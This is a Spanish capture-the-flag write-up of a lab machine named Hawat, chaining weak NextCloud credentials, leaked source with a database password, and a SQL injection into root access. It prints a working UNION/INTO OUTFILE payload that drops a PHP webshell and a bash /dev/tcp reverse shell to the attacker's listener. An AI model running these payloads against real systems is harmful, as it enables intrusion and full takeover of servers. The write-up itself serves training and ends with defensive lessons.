Hawat
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Hawat expone tres webs. En el NextCloud del 50080 entramos conadmin:admin(credenciales débiles) y descargamos el código fuente del Issue Tracker (issuetracker.zip); en él aparece una SQLi en/issue/checkByPriorityy la contraseña de MySQL (ManagementInsideOld797), que conecta como root de base de datos. Elphpinfodel 30455 revela el document root (/srv/http). Con la SQLi del Issue Tracker (17445) y un UNION +INTO OUTFILEescribimos una webshell en/srv/http/cmd.php(SQLi a escritura de ficheros); como el servidor PHP corre como root, la webshell ejecuta comandos comorooty una reverse shell cierra la caja.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.188.14764 bytes from 192.168.188.147: icmp_seq=1 ttl=61 time=29.9 msBarremos todos los puertos TCP y luego identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.188.147PORT STATE SERVICE
22/tcp open ssh
17445/tcp open http
30455/tcp open http
50080/tcp open httpnmap -p22,17445,30455,50080 -sCV 192.168.188.147 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
17445/tcp open http Apache Tomcat (language: en)
|_http-title: Issue Tracker
30455/tcp open http nginx 1.18.0
|_http-title: W3.CSS
50080/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-title: W3.CSS TemplateTres frentes web en puertos altos: un Issue Tracker sobre Tomcat (17445), un nginx (30455) y un Apache con PHP (50080). Tres aplicaciones que probablemente comparten datos o sistema de ficheros: ese suele ser el hilo de estas cajas.
NextCloud - TCP 50080
dirsearch en el 50080 encuentra un /cloud que redirige a un login de NextCloud. Probamos credenciales por defecto y entran con admin:admin (credenciales débiles):

Dentro, entre los ficheros del usuario hay un issuetracker.zip (el código fuente de la app del 17445) y un wshell.php:

Descargamos y descomprimimos el ZIP para auditar el código:
unzip issuetracker.zip
grep -ri password .
./src/main/java/com/issue/tracker/config/WebSecurityConfig.java: return new BCryptPasswordEncoder();
./src/main/java/com/issue/tracker/issues/IssueController.java: connectionProps.put("password", "ManagementInsideOld797");
./src/main/resources/application.properties:spring.datasource.password=ManagementInsideOld797
./src/main/resources/templates/user_form.html: <label>Password</label>
./src/main/resources/templates/login.html: <label>Password</label>Buscando contraseñas damos con ManagementInsideOld797 (en IssueController.java y en application.properties); al ver su contexto, aparece tanto la conexión a MySQL como el endpoint vulnerable:
grep -ri ManagementInsideOld797 . -A 10
El fragmento clave es el controlador /issue/checkByPriority, que concatena el parámetro priority directamente en la consulta y se conecta a MySQL como root:
@GetMapping("/issue/checkByPriority")
... connectionProps.put("password", "ManagementInsideOld797");
... DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker", ...);
String query = "SELECT message FROM issue WHERE \"+priority+\"";
... stmt.executeQuery(query);Tenemos dos cosas: una SQLi confirmada por código y que la BD corre como root (con privilegio FILE, necesario para INTO OUTFILE).
phpinfo - TCP 30455
dirsearch en el 30455 encuentra un phpinfo.php. Esa página filtra el DOCUMENT_ROOT del servidor PHP:
dirsearch -u http://192.168.188.147:30455 --exclude-status=403,404
$_SERVER['DOCUMENT_ROOT'] -> /srv/httpEse dato es el que faltaba: si conseguimos escribir un fichero en /srv/http, el servidor PHP lo ejecutará. Es el destino natural del INTO OUTFILE.
Issue Tracker - TCP 17445
La app del 17445 es un Issue Tracker con un listado público de incidencias y botones Register y Sign In:

No hace falta adivinar credenciales: el módulo de usuarios permite registrarse. Creamos una cuenta (kmn9) y entramos:

Y nos autenticamos con esa cuenta:

Ya autenticados, alcanzamos el endpoint checkByPriority. Con un GET devuelve una Whitelabel Error Page con 405 Method Not Allowed, así que interceptamos la petición con Burp:

Desde el Repeater de Burp, Change request method la convierte en un POST, que es el verbo que espera el controlador:

SQLi a RCE
UNION + INTO OUTFILE: webshell en /srv/http
El parámetro priority no está saneado. La técnica es una SQLi que escribe código PHP en un fichero con INTO OUTFILE y luego lo ejecuta a través del servidor web, un patrón documentado:

Construimos una inyección UNION que, en lugar de devolver datos, escribe un fichero PHP en el document root descubierto (/srv/http), usando el privilegio FILE de la cuenta root de MySQL (SQLi con INTO OUTFILE):
' union select '<?php echo system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -La enviamos por el parámetro priority, URL-encoded (con urlencoder.org) en la petición autenticada:

%27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20--%20-
Shell como root
La webshell ejecuta como root
El fichero queda en /srv/http/cmd.php, servido por el PHP del 30455. Lo invocamos y comprobamos quién lo ejecuta:
curl 'http://192.168.188.147:30455/cmd.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)El servidor PHP corre como root, así que la webshell ya nos da ejecución como root. Lanzamos una reverse shell (URL-encoded) hacia nuestro listener:
Antes de disparar la shell, dejamos un nc a la escucha:
penelope 50080La reverse shell la codificamos igual en URL antes de pasarla por cmd:

Encode to URL-encoded format
bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
Destination character set: UTF-8
Destination newline separator: LF (Unix)
[ ENCODE ]
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261# cmd = bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
curl 'http://192.168.188.147:30455/cmd.php?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261'
(Penelope)> listeners add -p 50080
[+] Listening for reverse shells on 0.0.0.0:50080 ...
[+] Got reverse shell from hawat~192.168.188.147-Linux-x86_64 😎 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/sbin/script!
[root@hawat http]# id
uid=0(root) gid=0(root) groups=0(root)Leemos la prueba (somos root directamente, sin escalada):
cat proof.txt && whoami && ip a
a08809bafff16d885f39db1615f7613fCadena de ataque
NextCloud (50080) -- admin:admin
│ descarga issuetracker.zip (codigo fuente)
│ -> SQLi en /issue/checkByPriority + MySQL root (ManagementInsideOld797)
▼
phpinfo (30455) -- DOCUMENT_ROOT = /srv/http
▼
Issue Tracker (17445) -- registro -> SQLi autenticada
│ ' union select '<?php ... ?>' into outfile '/srv/http/cmd.php' -- -
▼
webshell /srv/http/cmd.php -- servida por PHP que corre como root
│ cmd=id -> uid=0(root) -> reverse shell
▼
shell como root (proof.txt)Lecciones aprendidas
- El código fuente filtrado es media máquina. Descargar
issuetracker.zipdesde NextCloud reveló a la vez el punto de inyección y la contraseña de la base de datos. Nunca conviene guardar el fuente con secretos en un recurso accesible. - Concatenar parámetros en SQL es la vulnerabilidad de siempre.
WHERE "+priority+"sin consultas preparadas convierte un campo de búsqueda en escritura arbitraria de ficheros. INTO OUTFILEnecesita tres cosas alineadas. Conexión como un usuario con privilegioFILE(aquírootde MySQL), una ruta escribible y conocida (la diophpinfo:/srv/http) y que algo ejecute lo escrito (el servidor PHP). Cualquiera de las tres rota la cadena.- Un servidor web corriendo como root convierte un RCE en game over. No hubo escalada porque el PHP ya era
root. Ejecutar los servicios con un usuario sin privilegios habría dejado el RCE enwww-datay forzado una segunda fase.